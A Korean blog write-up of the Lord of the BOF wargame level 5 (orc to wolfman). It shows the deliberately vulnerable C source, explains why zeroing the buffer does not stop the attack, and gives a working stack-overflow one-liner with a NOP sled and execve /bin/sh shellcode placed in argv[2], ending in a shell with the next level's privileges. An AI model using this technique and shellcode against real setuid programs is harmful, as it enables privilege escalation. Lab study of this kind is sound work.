본문 바로가기
스터디/wargames

[BOF-Wargames] LOB Load of BOF LEVEL5 (orc -> wolfman) 문제풀이

by 깝태 2011. 8. 19.

-------------------------------------------------------------------------------------------------------------------------
LOB Level5 [ Orc -> Wolfman ]
-------------------------------------------------------------------------------------------------------------------------

[orc@localhost orc]$ ls
wolfman  wolfman.c  xodnr

[orc@localhost orc]$ ./wolfman aa aa
stack is still your friend.

[orc@localhost orc]$ cat wolfman.c
/*
        The Lord of the BOF : The Fellowship of the BOF
        - wolfman
        - egghunter + buffer hunter
*/

#include <stdio.h>
#include <stdlib.h>

extern char **environ;

main(int argc, char *argv[])
{
        char buffer[40];
        int i;

        if(argc < 2){
                printf("argv error\n");
                exit(0);
        }

        // egghunter
        for(i=0; environ[i]; i++)
                memset(environ[i], 0, strlen(environ[i]));

        if(argv[1][47] != '\xbf')
        {
                printf("stack is still your friend.\n");
                exit(0);
        }
        strcpy(buffer, argv[1]);
        printf("%s\n", buffer);

        // buffer hunter
        memset(buffer, 0, 40); // buffer 부분을 40바이트까지 0 으로 채워버립니다. - http://itguru.tistory.com/104
}

# 이번 문제에서는 40바이트를 0 으로 덮어 쉘코드를 못 쓰게 할 작정이다.
# 4바이트 쉘코드는 없으니깐 ?!

다른건 오크문제와 똑같지만 한 부분만 다릅니다.  memset(buffer, 0, 40);  그러나 어려울건 없습니다.
메모리부분을 그냥 정해진 문자로 채우는 역할을 합니다.

예를 들어 10개의 buffer 있다고 치고 A 를 모두 입력해줬습니다.

AAAAAAAAAA, 이렇게 되는데 만약 다음과 같은 소스가 있다면 memset(buffer, B, 6); 6바이트까지 B 로 채웁니다.
BBBBBBAAA, 이렇게 됩니다.

한 마디로 그냥 메모리 부분을 채울뿐 어떤 심각한 영향을 미칠만한 역할을 하지 않는다 이겁니다.
고로 오크떄 날려주었던 스크립트를 똑같이 날려줘봅시다.
물론 주소값 차이가 심할수도 있지만 NOP 를 30000개나 넣어주었기에 바로 될거라고 생각됩니다.

[orc@localhost orc]$ bash2

[orc@localhost orc]$ ./wolfman `python -c 'print "\xbf"*44 + "\x2e\x87\xff\xbf"'` `python -c 'print "\x90"*30000 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`
¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿.‡ÿ¿

bash$ id
uid=504(orc) gid=504(orc) euid=505(wolfman) egid=505(wolfman) groups=504(orc)

bash$ my-pass
euid = 505
[ 패스워드 ]

공격에 성공하였습니다.